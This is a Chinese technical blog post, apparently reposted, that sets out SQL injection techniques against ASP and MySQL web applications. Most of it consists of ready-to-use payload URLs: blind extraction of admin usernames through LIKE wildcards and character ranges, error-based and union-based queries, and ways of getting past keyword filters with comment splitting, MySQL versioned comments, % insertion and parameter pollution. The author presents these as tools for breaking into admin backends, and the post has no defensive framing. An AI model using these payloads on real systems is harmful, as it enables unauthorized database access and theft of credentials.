基于 SQL 注入(sql injection) 介绍一些注射技巧 - 技术文章

admin 2021年4月3日19:40:20评论103 views字数 2396阅读7分59秒阅读模式

By:wooden

写本文的目的在于记录并且交流,欢迎各种大牛批评指正:)
   
   传统的检测注射方法是通过:

and 1=1 , and 1=2 来判断真假从而判断是否过滤完全,当然,也有 or 1=2,or 1=1,或者 id=1+1 或id=2-1,等等

本文的目的不是评判谁的检测方法实用,只是向大家推荐一些新的注射方式,可能早有人提及了:)

首先说判断:

Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null

或: and 2
其实,很多人习惯性的用=号来判断了,但是,如: >= ,等等 都可用于判断

而对于blind sqlinjection,一般的注射的方法是:

ascii(substring(password,1,1))=56,或者是     ord(mid(password,1,1))=56 等等

而在sql中有个检索函数like,,我们可以通过table.column来直接锁定字段,这样可以直接抛弃select,from,where等关键字,避免过滤,看看'_'占位符的演示:)

http://url/1.asp?string=wooden' and admin.user like '_' and '1'='1 false

http://url/1.asp?string=wooden' and admin.user like '__' and '1'='1  false

....

http://url/1.asp?string=wooden' and admin.user like '_____' and '1'='1  true

这样可以直接精确字段,5个占位符=5个字段,而在like函数中我们可以通过 ‘-’符号来检索数据范围,例如:

http://url/1.asp?string=wooden' and admin.user like '[0-9]____'  and '1'='1 false

http://url/1.asp?string=wooden' and admin.user like '[a-z]____' and '1'='1  true

http://url/1.asp?string=wooden' and admin.user like '[a-h]____' and '1'='1  true   

http://url/1.asp?string=wooden' and admin.user like '[a-b]____' and '1'='1  true

http://url/1.asp?string=wooden' and admin.user like 'b____'  and '1'='1 false

http://url/1.asp?string=wooden' and admin.user like 'a____' and '1'='1  true

因此,可以确定admin表中user字段的第一个是a,后面的原理相同,通过范围取值来直接爆破数据

还记得sum函数吧?可以直接套用来确定数据类型

http://url/1.asp?string=wooden' and (sum(admin.user))=1 and '1'='1

当然,也可以利用sql的一些内置函数:

http://url/1.asp?string=wooden' and len(admin.user)>4 and '1'='1

http://url/1.asp?string=wooden' and ascii(substring(admin.user,1,1))>100 and '1'='1

同时,在witth error模式中可以直接通过' and (admin.user)=0 来获取数据

但是此法有一鸡肋,就是只能针对当前查询语句的表和字段,所以一般比较适合后台登陆口的注射,配合上 having 1=1 (number) 或 d'having '1'='1 (string),曾帮我拿下不少后台:)

而对于mysql 有一些新型的函数也可用,例如:

find_in_set 例: find_in_set('56',ascii(substr(password,1,1)))=1

strcmp 例: strcmp(left('password',1), 0x56) = 1

再说说union,对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4

对于iis 可以通过%来绕过 例如:union selec%t 1,2,3,4-%-

对于mysql却可以:union select 1&id=2,3&id=4

ok 当过滤select时,union/**//*!select*/1,2,3,4或union/&&/s/**/elec/**/t/**/1,2,3,4

甚至还可以union/**//*!5100select*/1&id=2,3&id=4    //5100为mysql的版本号

同时当语句是多查询且无法注释后面语句时:

例如 slect * from table where id = 1 and name = xxx  ,我们可这么做:

id=1+union/*&name=*/select+1,2

在union注射中,必须让结果为flase,才可执行union,比如:

and 1=2 union select xxxxxx

可以这么做:id=wooden'/*!5100and*/ 1 is null union /*!5100select*/ xxxxx 这样既可以饶过大部分黑名单机制

文章来源于lcx.cc:基于 SQL 注入(sql injection) 介绍一些注射技巧 - 技术文章

相关推荐: 【对联】快过年了,送对联数副,纯属娱乐!

摘自 T00ls.Net 对联贴,全是网络安全方面的词汇组成,纯属娱乐!如下: 上联:黑完世间站 下联:抓绝天下鸡(刷爆天下库) 横批:黑王之王 上联:黑站挂马抓肉鸡 下联:注入刷库核攻击 横批:楼主牛逼 上联:探里探外探水区 下联:翻来翻去遇攻击 横批:盖楼…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:40:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于 SQL 注入(sql injection) 介绍一些注射技巧 - 技术文章http://cn-sec.com/archives/324303.html

发表评论

匿名网友 填写信息